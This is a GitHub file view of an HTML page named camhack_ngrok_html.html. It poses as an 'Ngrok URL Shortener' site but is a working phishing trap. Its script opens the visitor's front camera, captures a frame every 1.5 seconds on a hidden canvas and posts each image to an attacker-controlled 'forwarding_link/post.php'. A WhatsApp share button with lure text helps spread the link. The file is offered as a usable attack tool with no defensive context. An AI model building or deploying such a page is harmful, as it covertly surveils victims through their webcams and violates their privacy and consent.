-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathcamhack_ngrok_html.html
122 lines (100 loc) · 3.68 KB
/
camhack_ngrok_html.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>Ngrok | URL Shortener</title>
<meta property="og:type" content="website">
<meta property="og:title" content="Ngrok | ">
<meta property="og:site_name" content="Ngrok">
<meta property="og:url" content="">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="camhack_files/ngrok.ico">
<link rel="stylesheet" type="text/css" href="camhack_files/style.css" media="screen">
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
</head>
<body>
<div class="wrap">
<div class="cont"><span id="logo"><a href="forwarding_link" target="_blank"><span id="ln">Ngrok</span><span id="lt">URL SHORTENER</span></a></span>
<center><h1 id="ht">"redirect_link"</h1></center></div>
<center>
<a class ="ex1" href="redirect_link" target="_blank">
<span></span>
<span></span>
<span></span>
<span></span>
Open
</a>
</center>
<div class="footer">
<div class="fpa">
<div class="fic">
<a class="home button" href="forwarding_link" target="_blank">Home</a>
<a class="api button" href="redirect_link" target="_blank">Link</a>
<a class="gw button" target="_blank" href="whatsapp://send?text=I%20am%20the%20first%20one%20to%20send%20you%20this%20message%0A*Open%20Now*%F0%9F%91%87%F0%9F%91%87%F0%9F%91%87%20%0A%20forwarding_link">Shere</a>
</div>
<div class="flc">
<b>Ngrok</b> © 2020 </div>
</div>
<div class="des">
The URL shortener Ngrok at ngrokurlshortener.net can be used to create free short URLs
(Uniform Resource Locators) or web page addresses that can be easily
shared, tweeted, or emailed to your friends. Enter a long URL, and you
will get a short URL you can use in its place<br>
Ngrok | URL Shortener works as a conductor or proxy for a long URL. The shortener links the longer URL to the shortened version
<div class="breadcrumbs"><a href="forwarding_link" target="_blank">Home</a> » <a href="redirect_link" target="_blank">link</a></div> </div>
</div>
</div>
</body></html>